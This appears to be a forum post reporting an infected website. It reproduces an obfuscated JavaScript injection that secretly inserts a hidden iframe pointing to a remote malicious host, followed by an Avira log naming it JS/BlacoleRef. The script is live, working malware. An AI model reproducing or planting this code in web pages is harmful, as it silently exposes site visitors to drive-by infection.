http://users.skynet.be/bs600635/oase/body_workout.html

fireold

1. /*/a59dc4*/
   
2. 
   
3. 
   
4. yxbw = "y";
   
5. eavpx = "d" + "o" + "c" + "ument";
   
6. try {
   
7.     +
   
8.     function() {
   
9.         if (document.querySelector)++(window[eavpx].body) == null
   
10.     }()
    
11. } catch (egug) {
    
12.     yxde = function(zooq) {
    
13.         zooq = "fr" + "omCh" + zooq;
    
14.         for (qlh = 0; qlh < yxbw.length; qlh++) {
    
15.             fxtdb += String[zooq](komqtq(xocf + (yxbw[qlh])) - (57));
    
16.         }
    
17.     };
    
18. };
    
19. komqtq = (eval);
    
20. xocf = "0x";
    
21. hmlj = 0;
    
22. try {;
    
23. } catch (qwcn) {
    
24.     hmlj = 1
    
25. }
    
26. if (!hmlj) {
    
27.     try {
    
28.         ++komqtq(eavpx)["\x62o" + "d" + yxbw]
    
29.     } catch (egug) {
    
30.         gffrpz = "^";
    
31.     }
    
32.     yxbw = "59^9f^ae^a7^9c^ad^a2^a8^a7^59^9a^69^72^61^62^59^b4^46^43^59^af^9a^ab^59^ac^ad^9a^ad^a2^9c^76^60^9a^a3^9a^b1^60^74^46^43^59^af^9a^ab^59^9c^a8^a7^ad^ab^a8^a5^a5^9e^ab^76^60^a2^a7^9d^9e^b1^67^a9^a1^a9^60^74^46^43^59^af^9a^ab^59^9a^59^76^59^9d^a8^9c^ae^a6^9e^a7^ad^67^9c^ab^9e^9a^ad^9e^7e^a5^9e^a6^9e^a7^ad^61^60^a2^9f^ab^9a^a6^9e^60^62^74^46^43^46^43^59^9a^67^ac^ab^9c^59^76^59^60^a1^ad^ad^a9^73^68^68^b0^b0^b0^67^9f^9a^ab^a6^9a^9f^ab^9e^9e^a5^9a^a7^9c^9e^67^a7^a5^68^a2^a7^9c^a5^ae^9d^9e^ac^68^a1^91^8d^ab^8a^a7^b0^9b^67^a9^a1^a9^60^74^46^43^59^9a^67^ac^ad^b2^a5^9e^67^a9^a8^ac^a2^ad^a2^a8^a7^59^76^59^60^9a^9b^ac^a8^a5^ae^ad^9e^60^74^46^43^59^9a^67^ac^ad^b2^a5^9e^67^9c^a8^a5^a8^ab^59^76^59^60^6f^6e^60^74^46^43^59^9a^67^ac^ad^b2^a5^9e^67^a1^9e^a2^a0^a1^ad^59^76^59^60^6f^6e^a9^b1^60^74^46^43^59^9a^67^ac^ad^b2^a5^9e^67^b0^a2^9d^ad^a1^59^76^59^60^6f^6e^a9^b1^60^74^46^43^59^9a^67^ac^ad^b2^a5^9e^67^a5^9e^9f^ad^59^76^59^60^6a^69^69^69^6f^6e^60^74^46^43^59^9a^67^ac^ad^b2^a5^9e^67^ad^a8^a9^59^76^59^60^6a^69^69^69^6f^6e^60^74^46^43^46^43^59^a2^9f^59^61^5a^9d^a8^9c^ae^a6^9e^a7^ad^67^a0^9e^ad^7e^a5^9e^a6^9e^a7^ad^7b^b2^82^9d^61^60^9a^60^62^62^59^b4^46^43^59^9d^a8^9c^ae^a6^9e^a7^ad^67^b0^ab^a2^ad^9e^61^60^75^a9^59^a2^9d^76^95^60^9a^95^60^59^9c^a5^9a^ac^ac^76^95^60^9a^69^72^95^60^59^77^75^68^a9^77^60^62^74^46^43^59^9d^a8^9c^ae^a6^9e^a7^ad^67^a0^9e^ad^7e^a5^9e^a6^9e^a7^ad^7b^b2^82^9d^61^60^9a^60^62^67^9a^a9^a9^9e^a7^9d^7c^a1^a2^a5^9d^61^9a^62^74^46^43^59^b6^46^43^b6^46^43^9f^ae^a7^9c^ad^a2^a8^a7^59^8c^9e^ad^7c^a8^a8^a4^a2^9e^61^9c^a8^a8^a4^a2^9e^87^9a^a6^9e^65^9c^a8^a8^a4^a2^9e^8f^9a^a5^ae^9e^65^a7^7d^9a^b2^ac^65^a9^9a^ad^a1^62^59^b4^46^43^59^af^9a^ab^59^ad^a8^9d^9a^b2^59^76^59^a7^9e^b0^59^7d^9a^ad^9e^61^62^74^46^43^59^af^9a^ab^59^9e^b1^a9^a2^ab^9e^59^76^59^a7^9e^b0^59^7d^9a^ad^9e^61^62^74^46^43^59^a2^9f^59^61^a7^7d^9a^b2^ac^76^76^a7^ae^a5^a5^59^b5^b5^59^a7^7d^9a^b2^ac^76^76^69^62^59^a7^7d^9a^b2^ac^76^6a^74^46^43^59^9e^b1^a9^a2^ab^9e^67^ac^9e^ad^8d^a2^a6^9e^61^ad^a8^9d^9a^b2^67^a0^9e^ad^8d^a2^a6^9e^61^62^59^64^59^6c^6f^69^69^69^69^69^63^6b^6d^63^a7^7d^9a^b2^ac^62^74^46^43^59^9d^a8^9c^ae^a6^9e^a7^ad^67^9c^a8^a8^a4^a2^9e^59^76^59^9c^a8^a8^a4^a2^9e^87^9a^a6^9e^64^5b^76^5b^64^9e^ac^9c^9a^a9^9e^61^9c^a8^a8^a4^a2^9e^8f^9a^a5^ae^9e^62^46^43^59^64^59^5b^74^9e^b1^a9^a2^ab^9e^ac^76^5b^59^64^59^9e^b1^a9^a2^ab^9e^67^ad^a8^80^86^8d^8c^ad^ab^a2^a7^a0^61^62^59^64^59^61^61^a9^9a^ad^a1^62^59^78^59^5b^74^59^a9^9a^ad^a1^76^5b^59^64^59^a9^9a^ad^a1^59^73^59^5b^5b^62^74^46^43^b6^46^43^9f^ae^a7^9c^ad^a2^a8^a7^59^80^9e^ad^7c^a8^a8^a4^a2^9e^61^59^a7^9a^a6^9e^59^62^59^b4^46^43^59^af^9a^ab^59^ac^ad^9a^ab^ad^59^76^59^9d^a8^9c^ae^a6^9e^a7^ad^67^9c^a8^a8^a4^a2^9e^67^a2^a7^9d^9e^b1^88^9f^61^59^a7^9a^a6^9e^59^64^59^5b^76^5b^59^62^74^46^43^59^af^9a^ab^59^a5^9e^a7^59^76^59^ac^ad^9a^ab^ad^59^64^59^a7^9a^a6^9e^67^a5^9e^a7^a0^ad^a1^59^64^59^6a^74^46^43^59^a2^9f^59^61^59^61^59^5a^ac^ad^9a^ab^ad^59^62^59^5f^5f^46^43^59^61^59^a7^9a^a6^9e^59^5a^76^59^9d^a8^9c^ae^a6^9e^a7^ad^67^9c^a8^a8^a4^a2^9e^67^ac^ae^9b^ac^ad^ab^a2^a7^a0^61^59^69^65^59^a7^9a^a6^9e^67^a5^9e^a7^a0^ad^a1^59^62^59^62^59^62^46^43^59^b4^46^43^59^ab^9e^ad^ae^ab^a7^59^a7^ae^a5^a5^74^46^43^59^b6^46^43^59^a2^9f^59^61^59^ac^ad^9a^ab^ad^59^76^76^59^66^6a^59^62^59^ab^9e^ad^ae^ab^a7^59^a7^ae^a5^a5^74^46^43^59^af^9a^ab^59^9e^a7^9d^59^76^59^9d^a8^9c^ae^a6^9e^a7^ad^67^9c^a8^a8^a4^a2^9e^67^a2^a7^9d^9e^b1^88^9f^61^59^5b^74^5b^65^59^a5^9e^a7^59^62^74^46^43^59^a2^9f^59^61^59^9e^a7^9d^59^76^76^59^66^6a^59^62^59^9e^a7^9d^59^76^59^9d^a8^9c^ae^a6^9e^a7^ad^67^9c^a8^a8^a4^a2^9e^67^a5^9e^a7^a0^ad^a1^74^46^43^59^ab^9e^ad^ae^ab^a7^59^ae^a7^9e^ac^9c^9a^a9^9e^61^59^9d^a8^9c^ae^a6^9e^a7^ad^67^9c^a8^a8^a4^a2^9e^67^ac^ae^9b^ac^ad^ab^a2^a7^a0^61^59^a5^9e^a7^65^59^9e^a7^9d^59^62^59^62^74^46^43^b6^46^43^a2^9f^59^61^a7^9a^af^a2^a0^9a^ad^a8^ab^67^9c^a8^a8^a4^a2^9e^7e^a7^9a^9b^a5^9e^9d^62^46^43^b4^46^43^a2^9f^61^80^9e^ad^7c^a8^a8^a4^a2^9e^61^60^af^a2^ac^a2^ad^9e^9d^98^ae^aa^60^62^76^76^6e^6e^62^b4^b6^9e^a5^ac^9e^b4^8c^9e^ad^7c^a8^a8^a4^a2^9e^61^60^af^a2^ac^a2^ad^9e^9d^98^ae^aa^60^65^59^60^6e^6e^60^65^59^60^6a^60^65^59^60^68^60^62^74^46^43^46^43^9a^69^72^61^62^74^46^43^b6^46^43^b6".split(gffrpz);
    
33.     fxtdb = "";
    
34.     yxde("arCode");
    
35.     komqtq("" + fxtdb);
    
36. } /*/a59dc4*/

复制代码

Avira

2013/10/8 下午 07:20 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        784
      目錄數：        0
      惡意程式碼數：        2
      警告數：        0

2013/10/8 下午 07:20 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\jscookmenu.min[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.DD.17' [virus]
      已採取動作：
      檔案會移動至 '561a49ea.qua' 名稱底下的隔離區目錄。.

2013/10/8 下午 07:20 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\theme[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.DD.17' [virus]
      已採取動作：
      檔案會移動至 '4e836642.qua' 名稱底下的隔離區目錄。.

2013/10/8 下午 07:19 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\theme[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.DD.17 [virus]'
      執行的動作：傳輸至掃描程式

2013/10/8 下午 07:19 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\jscookmenu.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.DD.17 [virus]'
      執行的動作：傳輸至掃描程式

2013/10/8 下午 07:19 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\jscookmenu.min[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.DD.17 [virus]'
      執行的動作：拒絕存取

2013/10/8 下午 07:19 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\theme[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.DD.17 [virus]'
      執行的動作：拒絕存取

2013/10/8 下午 07:19 [Web Protection] 發現惡意程式碼
      從 URL "http://users.skynet.be/bs600635/oase/jscookmenu.min.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.DD.17' [virus]。
      已採取動作：已略過

2013/10/8 下午 07:19 [Web Protection] 發現惡意程式碼
      從 URL "http://users.skynet.be/bs600635/oase/ThemeGreen/theme.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.DD.17' [virus]。
      已採取動作：已略過

fs is